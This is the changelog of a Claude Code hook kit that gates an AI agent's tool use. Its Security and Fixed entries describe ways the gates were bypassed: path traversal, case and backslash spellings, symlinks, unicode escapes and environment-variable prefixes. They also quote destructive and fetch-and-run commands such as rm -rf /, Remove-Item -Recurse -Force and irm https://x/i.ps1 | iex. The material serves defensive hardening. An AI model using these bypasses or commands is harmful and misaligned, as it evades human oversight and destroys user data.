.env.example and its siblings were unreadable while being committable. .env.example, .sample, .template and .dist are templates that already go into git, and pre-commit has always treated them as committable, while the permission layer called the same file an unreadable secret. Three sessions reported it independently and one showed the cost: a documentation edit could not be applied, was handed to the user as text, and landed in the wrong place because the writer could not see the target. .env, .env.local and .env.*.local stay denied.
No network git call suppressed credential prompts. board.sh had five unbounded fetch/push calls, and on Windows the default credential helper opens a GUI dialog no hook is watching — the process waits forever. All of them now go through one wrapper: prompts off, and a timeout where the tool exists. Failure was already the graceful path there (“remote unreachable”, “kept locally”), so this turns a hang into a sentence. start.sh’s clone gets the prompt suppression but no timeout, because a first clone legitimately takes minutes. The weekly stats collector’s requests are bounded on the same knob: unattended and scheduled, a hung request there is not a slow run but a lost week, since the traffic API keeps only 14 days. The bound looks for timeout and then gtimeout, because timeout is coreutils and macOS does not ship it — searching for a binary is not the same as assuming one. Where neither exists the call is not bounded, and that is written down rather than left to be found: measured against a black-holed remote, 15s with the bound and 21s without, the 21s being git giving up on its own. So the unbounded case is slower, not infinite; the infinite case was the credential prompt, and that is closed on every platform either way.

Fixed (routing)

Seven generic English words were standalone triggers, and each one alone was enough to fire. A single trigger phrase of six characters or more clears the score floor by itself, so context, version, review, routing, timeout, screen and layout routed any sentence containing them to a component with nothing to do with the request. Measured, all seven before the fix: “give me more context on this bug” reached token-budget; “the image version is 3.2, rebuild it” reached release; “the routing table is misconfigured” reached frontend-expert-csk; “fix the layout of this json file” reached frontend-design. Three of these were reported from live work in unrelated sessions before they were reproduced here.

None came from this release’s widened triggers — the diff against v2.6.0 shows all seven predate it, and every short phrase added this cycle is domain-bound (alt text, talkback, jenkins, backfill, locale, api key). Each word is now the phrase that carries the intent (context window, new version, review my changes, client routing, timing out, screen size, page layout) rather than deleted, and every one ships with both halves in the routing set: the sentence that must stay silent and the sentence that must still route. Pruning version alone broke “cut a new version and tell people what changed” — the held-out set caught it, which is the reason that set is scored by the same matcher as the working one.

Added

git update-index --add is gated. It stages a path regardless of .gitignore — the bypass git add -f is blocked for, by another spelling. Seen live: --add --chmod=+x deploy/rolling-update.sh staged with nothing said. Staging itself stays ungated on purpose; this rule is about the gitignore bypass alone.

Not changed — the measurement said otherwise

The reported hook slowness is not the kit. On two machines a bare /usr/bin/true costs 880–1483 ms against 3–5 ms on a healthy one, shell builtins run at normal speed, and one session traced it to corporate endpoint software inspecting every process creation. 51 external processes for a commit is a sane budget; the environment is charging 20–300× per process. The related “the gate measures twice per turn” report is the same tax seen through a cache that is in fact working: session-guard already reads what context-usage published rather than re-deriving it — 596 ms against 1203 ms on the same machine.

Changed

Fifteen skills advertised the vocabulary of their domain instead of the vocabulary of the request, and a held-out set is what showed it. The routing set the kit tested against was seven rows written while looking at the triggers, so it passed by construction. Eighteen phrasings written first and measured second — the way a person actually types a request — reached nothing in fifteen cases. Two causes. route-hint.sh scored agents and skills into a single best slot, so a weak agent match displaced a strong skill match and the hook then fell under its own floor and said nothing at all, losing both correct answers instead of choosing between them; it now keeps a best-per-kind and prefers the agent only where the agent’s own score clears the floor. And the triggers themselves said “accessibility audit” but not “screen reader”, “migration” but not “add a column”. They now carry both, with 65 negative rows (the routing set goes from 7 to 72) naming requests that must reach a neighbour or nothing, because widening a trigger is how a router starts answering what it does not own. The held-out file is read by the same matcher as the working set — a held-out set scored more leniently than the set it is held out from measures nothing.
vps-deploy is now deploy, and it no longer assumes a machine you SSH into. The old skill’s every step presumed a host you administer, which placed managed platforms outside the kit entirely — where most first deploys now happen. The skill opens with a topology fork, and the managed path has its own phases and its own checklist rather than borrowing the server one; what holds across both (a reachable previous version, a health gate, a rollback that does not rebuild) is stated once. An upgrade used to leave the old skills/vps-deploy/ in place next to the new one, both live and competing on every prompt, because the installer’s stale-component scan covered commands/ and agents/ but not skills/. It now covers skills and reports the orphan for you to remove, on the same report-never-delete rule as the rest.
A Windows fork cost that nobody had measured justified sixteen optimisations. “Git Bash pays 20-50ms per process” appeared in sixteen comments and CHANGELOG entries as the reason for a rewrite. Measured on a Windows 11 desktop it is 62-135 ms idle and up to ~400 ms under load — the figure one hook already carried alone. The numbers derived from it moved too: skill-trust’s 100 spawns go from “2-5s” to 6-14s, and the 2,000-spawn route-hint regression from “40-100 seconds” to two to four minutes. One claim was not merely low but internally inconsistent — 2,643 spawns “at 20-50 ms” was written as “over twenty minutes”, though that product is 2.2 minutes. The twenty minutes came from a field report on a 373-file merge where most of the time is each grep’s own scan of the staged content, not the fork: two separate facts welded into one sentence, and the weld hid a tenfold gap. They are now stated apart, with the old arithmetic noted so it does not get re-fused. The two remaining “20-50 ms” strings quote the claim being corrected.
The route-hint cost gate counts processes instead of seconds. It bounded wall-clock at 5s with a comment claiming an order of magnitude of headroom. Measured on Windows, where the gate exists to protect: 3.1–3.3s idle — ten times the figure the comment claimed — and 9.2–10.1s under parallel fork load, a 2× overrun with the hook answering correctly throughout. The gate was one busy runner from failing for a reason unrelated to the defect it guards. It now counts external commands (five per prompt today, budget twelve), which separates five forks from the two thousand of the shape that froze sessions regardless of load or platform; wall-clock remains as a coarse second bound at 30s.

Added

packaging/verify.sh — one definition of the gates, invoked by both the developer and CI. The commands lived in the workflow and nowhere else, so running everything reachable locally was three of six gates and still called green. That is not hypothetical: a branch with all three eval suites passing failed CI on the one gate with no local runner, because the README skill catalogue is generated and a hand-edited row drifts from the skill it describes. The workflow now invokes verify.sh <step> so each gate keeps its own named box while the thing being run exists once. A skipped step is reported and counted apart from a passing one; under CSK_VERIFY_STRICT, which the workflow sets, it fails instead, because on a runner a missing tool is a broken runner rather than an honest local limitation. Five assertions pin the two files to each other in both directions — including the one that bites, a gate defined locally that the workflow never runs.
The installer refuses to consume the kit’s own checkout. start.sh ends by deleting claude-starter/ and itself, which is correct once the kit has been unpacked into a project and destroys the source when it is invoked by absolute path from a development checkout. It did: 122 tracked files, recovered only because they were committed. The three markers are required together, since a released tarball carries VERSION and packaging/ and no .git — keyed on any one of them the guard would refuse every real install instead of the accident. CSK_ALLOW_SOURCE_INSTALL=1 is the deliberate way through.

Fixed

The commit gate was silently unarmed on every Windows install. start.sh decided whether it sat at a repository root by comparing two path strings, and on Windows git answers C:/… while the shell answers /c/…, so the comparison never matched, the hooks were never installed, and the installer reported success. It now asks git which directory this is rather than which spelling it uses.
doctor reported healthy over a gate wired to nothing. On a machine without jq the settings check asked only whether the event name appeared in the file, and a valid settings.json carrying "PreToolUse": [] satisfies that: the name is present, another event still mentions hooks/, and the diagnostic printed settings.json wires the required hook events. The §4.4/§4.5 tool gate was connected to nothing while the tool that exists to say so called it fine — and this is the Windows path, where the hooks are most fragile and jq is absent by default. Emptiness needs no parser: after the event’s [, the first non-space character is ] exactly when the array is empty, which is pure parameter expansion and costs no process on the platform that charges for every one. Checked against six fixtures and the shipped file.
A leading VAR=value carried a blocked command past the teardown gate. TF_VAR_x=1 terraform destroy put the verb out of the position the matcher examined. Assignment prefixes are now consumed before the verb is read, the way the shell reads them.

Security

The write-side gate matched the raw path string, so a gate file could be reached under a different spelling. guard-write.sh compared file_path verbatim against */.claude/hooks/* and */.git/hooks/*. Measured against 2.6.0, every one of these returned rc=0 — a single Write call each, no shell access, no symlink, no second step: .claude/skills/../hooks/guard-bash.sh, .claude//hooks/…, .claude/./hooks/…, .git/refs/../hooks/pre-commit, and any path written with Windows separators (five other hooks in the kit already fold those; this one did not). On Windows that last one was the whole gate: measured on a real Windows install, 124 of 124 file_path values the harness actually sent used backslashes, so the write-side §4.5 gate recognised the one spelling that never arrives and passed the one that always does. The traversal forms are a capability rather than an observed pattern — none of those 124 samples contained an unresolved .. — but Claude Code passes file_path to the hook verbatim (measured: a .. survives into the payload) while the filesystem resolves it, so the string the model writes and the file it opens are two different things whenever it chooses to write one. The target is now folded and lexically resolved before it is matched, with parameter expansion only: no new process on a path that runs before every Write/Edit, measured at the same external-command count as before. A symlinked ancestor — the one shape lexical resolution cannot see — is refused outright inside .claude/ and .git/; that walk stops AT the config directory, so a symlinked project root (routine on macOS, where every path through /tmp resolves to private/tmp) does not turn ordinary work into a refusal.
NotebookEdit walked past the gate wherever neither jq nor python3 runs. The pure-bash tier read file_path only, and a notebook carries its path under notebook_path. Both guards now share one JSON parser, marked in both files and pinned byte-identical by the suite, so the two copies cannot drift.
The discipline document was writable. .claude/DISCIPLINE.md is kit-owned, imported into every session, and is the text of §4.1–§4.5 — the rules the gates enforce — yet no gate covered it: the rules could be emptied without touching a single gate. Both guards now refuse to write it, on the shell side and the file- tool side. Reading it is unchanged, and the installer still rewrites it on update.
An unparseable payload no longer exits 0 unconditionally. It is refused when the raw text names a gate tree and still allowed otherwise, so a future field rename costs a false block rather than a free pass.
A case-spelled gate path was a different string and the same file. APFS and NTFS are case-insensitive by default: measured on one machine, .claude/hooks/guard-bash.sh and .CLAUDE/HOOKS/GUARD-BASH.SH share an inode, and a write through the uppercase spelling landed in the real gate script. The shell-side guard had always folded case; the write-side guard had not, so the two halves of §4.5 disagreed about the same path. Both now fold, and so does a trailing dot or space on a component — Win32 strips those when it opens a file, and one trailing byte was enough to slip past the DISCIPLINE.md rule, which is an exact tail match.
A symlink is the two-step version of editing a hook, and only one direction of it is dangerous. ln -sfn .claude cfg names no gate path, so it passed the shell guard; cfg/hooks/guard-bash.sh then names no gate path either, so it passed the write guard — measured end to end, both steps allowed, the gate script overwritten. The write guard now walks the target’s ancestors (a builtin test, no process) and, only when one really is a symlink, spends a single call to resolve it and ask the same question about the real location. That walk runs before .. is collapsed, because collapsing first deletes the component that has to be examined: with c -> .claude/skills, c/../hooks/x reduces to hooks/x while the filesystem resolves it onto the gate. The shell guard separately refuses a link whose target is .claude or .git itself. The other direction — a symlinked home, mount, checkout, or plain /tmp on macOS — stays ordinary work.
The new parser brought a cost with it, and it is capped rather than hidden. What it replaces was a single sed — linear, never slow — and it was replaced because it truncated the value at the first escaped quote and never looked at notebook_path. The parser that fixes those walks the value character by character, which is quadratic in bash, and on the tier a stock Windows install runs every path separator is an escape, so the cheap path never fires: measured 0.09s at 512 bytes, 0.52s at 1,024, 3.7s at 2,048 and roughly 30s at 4,096, against this hook’s own 60s timeout — and a PreToolUse hook killed at its timeout emits no exit 2, so the write proceeds. The value is therefore capped at 2,048 bytes and refused above it, in both guards. Real paths are nowhere near that: the file_path values measured on a Windows install average about 60 bytes, and Windows stops at 260 without the long-path opt-in. Ordinary cost is unchanged — ten real Windows-shaped calls in 0.08s total, and the same external-command count on the hot path as before.
A \uXXXX escape became a literal ?, so \u002eclaude/hooks/guard-bash.sh decoded to something that matched no rule while jq decoded the same bytes to the real path — the parser tiers disagreed on whether a payload was an attack. Printable ASCII is now decoded properly, with no added process.
The plugin edition’s own gate scripts sat outside every pattern. They live at $CLAUDE_PLUGIN_ROOT/hooks/, which is not .claude/hooks/, so one of the four channels shipped an unguarded copy of the gates it ships. Matched by the kit’s own filenames, so a project’s unrelated hooks/ directory is untouched.

Fixed

A tool was still being chosen on whether it EXISTS in thirteen more places. 2.6.0 taught the two shell guards to pick a parser tier on whether it works, because Windows ships a Microsoft Store redirector named python3 that passes command -v, exits 49 and prints nothing. The same shape survived elsewhere; an audit of every command -v / type -P / [ -d .git ] site in the tree found it and each instance was reproduced with a stub that resolves and fails, then re-measured in three states (works / broken / absent).
- hooks/skill-trust.sh — a broken sha256sum returned an empty digest, the caller read that as “nothing to report”, and the unvetted-component notice went completely silent while two working fallbacks were never tried. Measured: 462 bytes of notice became 0. The pipeline’s exit status could not have caught it (cut succeeds on empty input), so the value is what is tested now. Costs one process fewer than before.
- hooks/session-rehydrate.sh and hooks/board-sync.sh — jq’s status was discarded, so a broken jq emitted nothing with rc=0, which is exactly the legitimate “nothing to say” case. After /compact or /clear the fresh context was never pointed at the handover file. The bash fallback below each produces byte-identical output, so falling through costs nothing.
- hooks/context-usage.sh — the last hook selecting on existence: with a broken jq it reported “usage not found” instead of falling back to awk, so the session fill silently stopped being measured.
- eval/doctor.sh — a broken jq made doctor call a valid settings.json corrupt and prescribe overwriting it, destroying any hooks the project had added, while three real checks stopped running with no trace. The same file already probed python3 by running; §4 was missed.
- adopt.sh — a broken jq aborted the settings merge and wired zero kit hooks, while the run still ended in OK + PROOF and the handover record claimed the hooks had been refreshed.
- start.sh — [ -d .git ] is a proxy for the answer and it lies where it matters: in a worktree or submodule .git is a FILE, so the commit gate was never armed and the installer reported no problem. Measured: a commit carrying a forbidden expression landed in a worktree install. It now anchors on the repository toplevel and lets the arming call itself decide — a relative core.hooksPath resolves against the work-tree root, so arming from a subdirectory would report a gate active over a dead path.
- bin/cli.js — a path converter that resolved and produced nothing yielded an empty path, and the npx install failed with “bash cannot read the staged script”, sending the user after 8.3 names and TEMP settings for what was a converter failure.
The harness that exists to catch this class was breaking the rule in fourteen places. Measured with a stub jq: the suite reported 340 errors against 95 graded assertions, most of them accusing shipped files of defects they do not have. After the fix the same run is PASSED, 572 graded, 4 skipped, each naming what it could not check — and under CI=true those tool-class skips turn CI red. Ten jq selections are now probed by running; the two git fixtures are gated on whether git can actually build a repository, because the driver short-circuits and a failed git add made every blocking case read as “the gate blocked” (proved by replacing the scanner with exit 0 and getting byte-identical output); and the stdin-hang case now tests for the FIFO rather than for mkfifo, because without one the case could not fail at all.

Added

A gate for infrastructure teardown. terraform/tofu/pulumi destroy, an unattended apply, and kubectl delete/helm uninstall have the same shape as the rm -rf and git reset --hard rules the kit has always carried — one command, no undo — and were never named, although the blast radius is a cloud account or a cluster rather than a disk. Every verb and alias came from the tool’s own source, not from memory, and that mattered: the first draft missed pulumi down/dn (documented aliases for destroy), helm del/un (cobra aliases the generated docs page does not list) and pulumi up --yes (Pulumi has no -auto-approve) — each of them empties exactly what the spelling that was gated empties. It also let every wrapper through: sudo -u, env, xargs, bash -c "…", $(…). Scope is deliberately narrow in the other direction too — --help, --dry-run (which helm’s own docs recommend before an uninstall), kubectl auth can-i and -auto-approve=false are ordinary work and are not refused. 40 cases, both directions.
/skill-csk routes AGENT_TEMPLATE.md, which ships with an install and which no gate ever checked anyone reaches — §3b iterates skills and agents only, so the contract document could go stale unread. The command ends in the four evals rather than in a claim.
A cold-reader pass for handoff. Its definition of done says a new session can resume from the file alone, and nothing tested that. The questions are written from the WORK before the file exists — an answer key derived from the handover only proves the handover is self-consistent — and are then answered from the file alone. references/cold-reader.md.
Missing discipline in six existing skills: flaky-test triage with the infrastructure/product split that decides whether a retry is ever allowed (testing, plus references/flaky-triage.md); tests that cannot fail (testing); receiving a review, closing the easy exits, and asking the git history before treating a bug as new (code-review-csk); and what to do when the pipeline is red (ci-pipeline).
Two axes in dependency-audit: install-time execution — the mechanism recent registry compromises actually used, which a CVE feed and a code review both miss — and publisher concentration read from the registry ACL rather than from the forge’s contributor list. Every axis now resolves to assessed-clean, assessed-flagged, or not-assessable-here-and-why.

Changed

Ten skill descriptions now say WHEN to reach for them. Inside this kit the routing is done by route-hint.sh and the trigger map, which is why the gap was invisible; outside it — a skill copied into another project, another client, a bare session — the description is all there is. BUDGET_SKILLS moves with them, and the bump comment states plainly what it does not fix: the listing budget is 1% of the context window, so a small-window model is over it either way. What changed is that the remedy is now targetable.
Two suite cases stopped depending on jq. Checking that a shipped settings.json parses has no machine-specific answer, and the doctor fixture was using jq to build a known mutation rather than to validate anything — so both were gated on a tool whose absence is precisely the platform this kit is most fragile on. They now run everywhere; jq still runs where it exists, because a real parser catches shapes a balance check cannot, and the check says so rather than claiming to be a parser.

Added

eval/utilization.sh — what the kit loads versus what it actually reaches. Every installed skill spends its name and description in every session forever, and doctor.sh §4a already reported that cost against the budget; the remedy it points at (skillOverrides: name-only) needs a list of WHICH skills and nothing produced one. This reads the project’s own transcripts and reports fired-vs-cold with the bytes the cold ones cost. Two shapes count as a firing — a Read of skills/<name>/SKILL.md, or the Skill tool naming it — and both are anchored, because matching a bare name anywhere in the JSON would count the kit measuring itself: a single grep -rn description: result echoes all 40 paths on one line. It reads the whole session tree, not just the top level: measured on one project, 14 transcripts sit at the top and 306 in the per-session subagents/ trees, which is where delegated work — and therefore most skill use — actually happens. An absent transcript reports NOT MEASURED, never “0 fired”. Current project only unless --all-projects is asked for; names and counts only, never a path or a prompt. Run in the kit’s own repository it says so, since a SKILL.md opened to be edited is indistinguishable from one that fired.

Changed

The suite’s verdict now carries its denominator, and a skipped case is no longer green. SMOKE-TEST: PASSED ✅ printed identically whether 584 assertions ran or 298 did (CSK_SMOKE_SCOPE=install drops the rest), and seventeen places reported a case that did not run as a passing ✅ — so “a tool is missing here” and “the gate holds” were the same output. Skips are now counted, listed, and classified: tool and fixture mean the environment failed and turn CI red; scope and platform are honest answers everywhere and do not. The asymmetry is asserted in four states by the suite itself rather than described in a comment.
eval/scan-skill.sh: three answers instead of two, and one more thing to look for. skill-trust.sh gates on this script’s exit code and prints “scanner: SAFE” when it is 0 — which is what a target with nothing to read returned, so a component nobody had looked at was reported to the user as clean. Nothing-scanned now exits 3 and the trust hook reports NOT SCANNED. A skill directory carrying no SKILL.md is named rather than passed over in silence. And a runtime instruction fetch (curl …/instructions.md, a WebFetch tied to instructions) is HIGH: that one is not a missing pattern but the assumption the trust model rests on — a digest answers “have these bytes changed?”, which is the wrong question for a file whose bytes say “fetch your real instructions from this URL”. Measured against the kit’s own payload: 63 of 63 files still SAFE.
token-budget gains the axis none of its rules covered — what a single command hands back to the context, as distinct from what the context holds — and routes the utilization report.

Tests

§4.5 grows from 4 write-side cases to 65 new assertions across three tiers (jq, python3, and the pure-bash fallback in the suite’s existing no-jq/no-python3 sandbox). Each positive case was first shown to wrongly PASS against the hook as shipped in 2.6.0 — that is what makes it a regression pin rather than a restatement of current behaviour — and each ships with its negative twin: a .. in an ordinary source path, a project’s own skill under .claude/, a doc merely named hooks, DISCIPLINE.md.bak, an unparseable payload naming nothing, a file whose content quotes a gate path, and an unlinked path under .claude/ that the symlink probe must not catch, ordinary linking (ln -s dist build), a project’s own hooks/ directory, and — the row that took two tries to write honestly — a symlinked project root, which the first version of the probe refused. Two of the new rows exist only to tell a working parser from a working fallback: a payload whose target is ordinary while its content quotes a gate path, and an assertion on which rule fired rather than on the exit code alone, because a row that checks only rc=2 stays green when the fix is deleted and the fail-closed branch answers in its place. One row executes the hook directly rather than through bash <file>, so the +x bit and the shebang are exercised the way the harness exercises them.

[2.6.0] - 2026-08-25

Fixed

The tool-level gates were failing open on Windows, and had been. Measured on a stock Windows 11 desktop with no Python installed: rm -rf /, git push --force, a real captured PowerShell Remove-Item -Recurse -Force payload, git commit, and a Write that rewrites guard-bash.sh itself all returned rc=0 — allowed, silently, in every permission mode, with nothing written to any log. Windows puts %LOCALAPPDATA%\Microsoft\WindowsApps\python3 on PATH by default; it is not an interpreter but the Microsoft Store redirector stub, so command -v python3 succeeds, the stub exits 49 with an empty stdout, and the guards read an empty command and allowed the call before reaching tool_name. A tier is now chosen on whether it WORKS, using the extraction’s own exit status — which costs nothing, and on Windows is cheaper than before. If you run this kit on Windows, this is the release to take.
The same wrong question, everywhere else it was asked. preflight.sh reported “jq or python → python3 · Everything the kit wants is here” on a machine with no Python at all; adopt.sh stopped at the stub and never reached py, the Windows Python Launcher; guard-commit-scan.sh left the commit-message trace scan blind, so a co-author trailer in the message shipped unscanned; smoke-test reported one FALSE GREEN (a check that passed without running) and one FALSE RED (valid JSON called invalid); doctor.sh reported “delegation is enabled” after reading nothing.
A false verdict hiding under that one. doctor’s [ -z "$DENYSRC" ] && [ "$NOPY" != 1 ] && ok … || bad … cannot express three outcomes: with no usable interpreter the chain was false, so the || arm reported “the Agent tool is DENIED in:” — an empty list, and a ❌ on a healthy install. Three branches now, and where no parser exists doctor greps coarsely and WARNS rather than staying silent: a prompt to look, never a verdict it did not earn.
Private-key file names are blocked in any case. server.PEM, id.KEY and cert.P12 were committable while their lowercase twins were blocked — and on Windows and macOS those are the SAME FILE. Left open in 2.5.0 on the grounds that widening a gate does not belong inside a performance change; decided here on its own terms, with the must-not-block half cased too (.pem.example, key.md, KEYS.md, monkey.ts, public.pub all stay committable).
The plugin edition’s pre-commit and commit-msg shipped CRLF on Windows. *.sh text eol=lf does not cover extensionless files, and only the claude-starter/ copies were named in .gitattributes. Git Bash tolerates it; WSL answers $'\r': command not found, which is a gate that is simply not running.

Changed

The hooks that run on every tool call and every turn stopped spawning a process per rule. guard-bash.sh ran 31 greps per call, 13 of them asking whether a command that is plainly ls -la might be git. Each rule now sits behind a zero-fork case on a literal its own pattern already requires; the rule regexes are untouched. Measured on Windows, idle:

hook	runs	before	after
`guard-bash.sh`	every Bash/PowerShell call	2,855 ms	453 ms
`session-guard.sh`	every turn end	1,805 ms	871 ms
`context-usage.sh`	every prompt	872 ms	569 ms
`session-update-check.sh`	session start	996 ms	395 ms

A turn with five tool calls went from roughly 21 s of hook overhead to 7.6 s.

Measured

A straight translation of the guard rules to bash [[ =~ ]] was tried first and rejected on measurement: bash’s regex engine there does not support \b (so icacls\b, git config\b and the core.hooksPath rules would have stopped matching) and $ anchors to the end of the STRING rather than the line (so every rule ending ([[:space:]]|$) would have opened on a multi-line command). Two fail-opens for a speedup.
Behaviour was compared rather than assumed: all 55 commands from the suite’s own guard cases, run through the old and the new hook across three tool_name/permission_mode combinations — 165 comparisons, 0 differences, twice.
The real Claude Code PowerShell tool was watched tripping §4.5 in a live session under bypassPermissions; the same run before the fix was allowed through. PreToolUse does fire under bypassPermissions on Windows — which does not change the decision to fail closed there, since an observed behaviour with no documented contract is still not something to rest a gate on.
context-usage.sh’s bounded stdin read was verified on Git Bash with a FIFO whose writer holds the pipe open and silent: CSK_STDIN_TIMEOUT=2 → 6.3 s, =10 → 13.0 s. The bound tracks the setting; nothing hangs.

Added

smoke-test §7c — the interpreter tiers, tested the way they actually fail. §7b takes jq and python3 AWAY; that is not the shape the failure had, and it SKIPS on Windows. §7c shadows PATH with a stub that behaves exactly like the real one, so it runs everywhere, and fails 4 of 6 against the pre-fix guards.
smoke-test §14 — every extensionless shipped hook is pinned to LF, and the two editions ship byte-identical files. A drift means one was updated and the other was not.

[2.5.0] - 2026-08-24

Added

The gates now leave a record, and something reads it. The claim this kit makes is that rules are enforced at the tool level rather than remembered, and the evidence for it was a green test suite — proof the gates can fire, never a record that they did. Those two states leave identical artifacts behind, which is the gap the A/B harness kept running into. /gates-csk reports what actually tripped: verdict split, per-rule counts, and the rules nothing has touched. Its rule inventory is derived from the installed hooks on every run, so a rule added to guard-bash.sh shows up without anyone remembering a list — a number typed by hand drifts with the first component added, as the network diagram’s subtitle proved by announcing 11 agents and 36 skills over a picture it had drawn with 12 and 38.
Recording is on by default. An evidence channel nobody switches on records nothing. It writes rule names and verdicts to .claude/gate-log.tsv; the command text is left out unless CSK_GATE_LOG_CMD=1, because the report prints counts and never the argument, so the one field that can carry a path or a token buys nothing. The default path is used only outside a git repo or where it is already ignored — this repo demonstrated the alternative by leaving an untracked log sitting in git status.
Absence is reported as three different answers. Nothing recorded with somewhere to write means zero firings; nowhere to write means NOT MEASURED; no hooks means the rules could not be read. “Zero” and “never looked” have been confused here before, in the traffic statistics, and the fix there was the same one.
automode-policy, an audit of the auto-mode classifier. Auto mode became the default permission mode on 2026-08-14, putting a second decider in front of the same actions. The skill reports what that classifier is configured with and catches its silent failure: an autoMode array set without the literal "$defaults" replaces the built-in list for that section, taking soft_deny from 66 rules to 2 with no error and no warning. It does not claim its own rules are enforced — see Measured below.

Fixed

PowerShell commands went through no rule at all. Claude Code’s hooks reference says to inspect shell commands with Bash|PowerShell; the kit matched Bash alone. That tool is on by default for claude.ai and Console accounts, and on Windows without Git Bash it is enabled automatically while the Bash tool is never registered. Measured through the guard beforehand, every one allowed: Remove-Item -Recurse -Force C:\proj\*, rm -Recurse -Force ~, irm https://x/i.ps1 | iex, Get-Content .env, Set-Content on a hook file. The git rules already carried over, because git’s syntax does not change. The fix extends three existing verb alternations rather than duplicating rules; only families with no POSIX twin are new. One instructive detail: cat was already in the reader list and happens to be a PowerShell alias for Get-Content, so the rule looked like it covered PowerShell while the real names walked through.
A hook that ran on every prompt could hang forever. context-usage.sh read stdin with cat whenever stdin was not a tty, and “not a tty” is not “data is coming”: an open, silent pipe blocked it indefinitely. It hung this project’s own suite twice, for twenty minutes each. The bound had to keep the real hook path working — read returns non-zero at EOF without a trailing newline and still assigns, so gating on its exit status alone threw the whole payload away and every measurement reported “unmeasurable”.
Two sections of doctor were silent no-ops. They called a helper defined further down the file, so the lines never printed and the only evidence was skip: command not found on stderr. The suite had grepped doctor.sh for the wiring instead of running it, and passed. It runs it now, and also runs it with the claude CLI off PATH, because a case written on a machine that has it only ever exercises one branch.
The diagnostics contaminated the evidence. doctor’s probe drives the real guard to check it is not neutered, so every run wrote a synthetic force-push block into the log the report then counted.
The installer rehearsal asserted component counts as typed constants, so adding a skill turned every arm red with “expected 39 skills, got 40” — a stale number reading as a broken install. Derived from the payload now.

Measured

autoMode prose rules are not a gate. In an interactive session with the policy installed in user settings and listed by claude auto-mode config, a hard_deny rule naming git reset --hard verbatim did not stop it — and a control run with no policy behaved identically, so the classifier does not gate that class of action at all. Two headless probes agreed, including an absolute “never write any file” rule and a protected-path write the documentation says auto mode routes to the classifier. What protected the work in every run was the model choosing to back it up first: discipline, not a gate. The skill ships with this written into it, and reports configuration rather than enforcement.

Known limits

Windows without Git Bash is not supported by the gate layer. The hooks are shell scripts, so nothing runs there and no gate holds; the installers cannot run there either. A clean fix is blocked by the configuration model rather than by effort: hooks.json is static and platform-blind, and if filters on permission rules and not on OS. Both READMEs say so, and doctor reports a pre-2.5.0 Bash-only matcher as a failure, since an upgraded install looks healthy while every PowerShell command walks past the destructive-operation rules.

[2.4.0] - 2026-08-19

Added

A commit gate for machine-private strings. A work project’s absolute path, pasted from a terminal into a CHANGELOG entry, shipped in eight consecutive releases before anyone read it back — the paste is the vector, so the gate sits where pasted text becomes a commit. pre-commit gained a third scanner. Its terms are not a pattern, because “is this path private?” is not a question a pattern can answer: /Users/me is a placeholder every README wants and /Users/ada is a real person’s home, and no ERE separates them. They come instead from the machine doing the committing, where the answer is knowable exactly — its own $HOME, in the three spellings Windows writes the same directory as — plus a .private-terms.txt the repo owner fills in with the internal project, client and host names only they can recognise. .private-allowlist.txt is the escape. New installs gitignore the term file from the start: publishing a list of things you do not want published would defeat it.
The executable bit is pinned, in the git index as well as on disk. Rewriting a file in place creates a new file, and a new file does not inherit the old one’s mode; nothing noticed, because hooks are invoked through bash <path> and the installer chmods on the way in, so a broken mode is visible only in git. Skipped where core.fileMode=false, since an index that does not track the bit cannot be wrong about it.

Fixed

guard-bash.sh judged the payload instead of the command. With neither jq nor python3 on PATH — the stock Git Bash state — the fallback handed the entire hook JSON to the §4.4/§4.5 matchers. A session id whose second group starts f8 matches the force-push rule, so every ordinary git push was hard-blocked; when it did not misfire, the §4.4 prompt quoted raw JSON instead of the command being approved, which is consent theatre. Replaced by a pure parameter-expansion slice of tool_input.command: no forks at all, so it is cheaper than the sed it replaces, and it takes the first "command" key so a decoy inside the command cannot relocate the parse. Verified on Git Bash 5.2 against jq’s own verdicts across fifteen payloads.
The transcript directory was derived with the wrong rule, so Windows could never measure context fill. Folding only / and . misses the drive letter and every underscore; the by-hand context-usage.sh / session-stats.sh call therefore found nothing at all on Windows, and three sessions in a row reported “could not measure” and dropped the 🔋 line. The client folds : \ / . and _, and the native path comes from pwd -W where it exists.
A machine-private path in the 2.0.2 entry. Scrubbed here; history and published tarballs are deliberately left alone, since the string is a folder path rather than a credential and rewriting a public repo’s history costs more than it returns.

Changed

The no-jq gate now discriminates, and its harness stopped lying. The existing assertions — commit asks, reset --hard blocks — were true of the broken blob as well, so they passed throughout the defect’s life. The sandbox they ran in was built with command -v, which answers with a bare name when a shell function shadows the tool, producing a symlink pointing at itself; jq also stayed visible through the shell’s hash table, so the section silently skipped in a full run while passing in isolation. It now resolves with type -P, probes from a fresh process, carries a canary, and a skip is a failure that states its reason — except where the platform genuinely cannot host a jq-less PATH, which is a note, not a regression.
Twenty-three new behavioural assertions, each sabotage-tested: the gate must fail when the fix is reverted.

[2.3.2] - 2026-08-19

Fixed

The adversarial pass claimed an independence it could not deliver. verify.md required N independent verifiers, each “blind to the other verifiers’ reasoning”, and never said where they run. Three passes inside one context window have already read the first one’s reasoning: the blindness was a wish rather than a property, and the unanimity it produced was one argument counted three times. Found by comparing the kit against a deliberation framework — the comparison turned up a defect in our own file rather than an idea to borrow.

Each verifier is now its own subagent, handed the claim and the file:line but not the finder’s argument. When isolation did not happen the verdict says so (VERIFIERS: 1 (single pass, not isolated)): one honest pass is useful, while three entangled ones labelled independent are worse than one, because they launder confidence. Isolation is not free — each subagent re-pays for its own context — so it is spent by stake: blockers at N=3 (5 for a release audit), medium at N=1, nits get an inline pass and are labelled as such.

Two more from the same reading. The N verifiers all ran the same four steps, so they failed in the same place and called it agreement; each now takes a different attack — reachability, protection, reproduction, plus exclusion rules and blast radius at N=5 — and the verdict block records which lens produced it. And unanimity for the same reason now triggers a counterfactual pass before it is accepted, with AGREEMENT in the block so a reader can discount a verdict without redoing the work.

Added

Refusals are recorded, because they were the lock’s only evidence and it left none. A refused claim printed to stderr and stopped there — nothing on the board, nothing in history. The question the team board exists to answer, how often did this actually stop two people starting the same work, was unanswerable and would have stayed so after a trial, because the data would never have been created. An instrument cannot be fitted after the experiment; everything else a trial needs (decisions recorded, how long items were held, the [chore] ratio) is computable from durable history afterwards, and this alone is not.

Each refusal appends timestamp | item | reason | who tried | who held it to the board — on the board rather than in a local counter, since a number only its author can see says nothing about a team. Refusals are rare by construction, so a push each costs little and rides the same fast-forward retry as every other write. Logging failure is swallowed: a refusal that cannot be recorded is still a refusal. Nothing reads the log yet, deliberately — a reader can be written from durable history after a trial, and building a dial for a machine nobody has run is the wrong order.
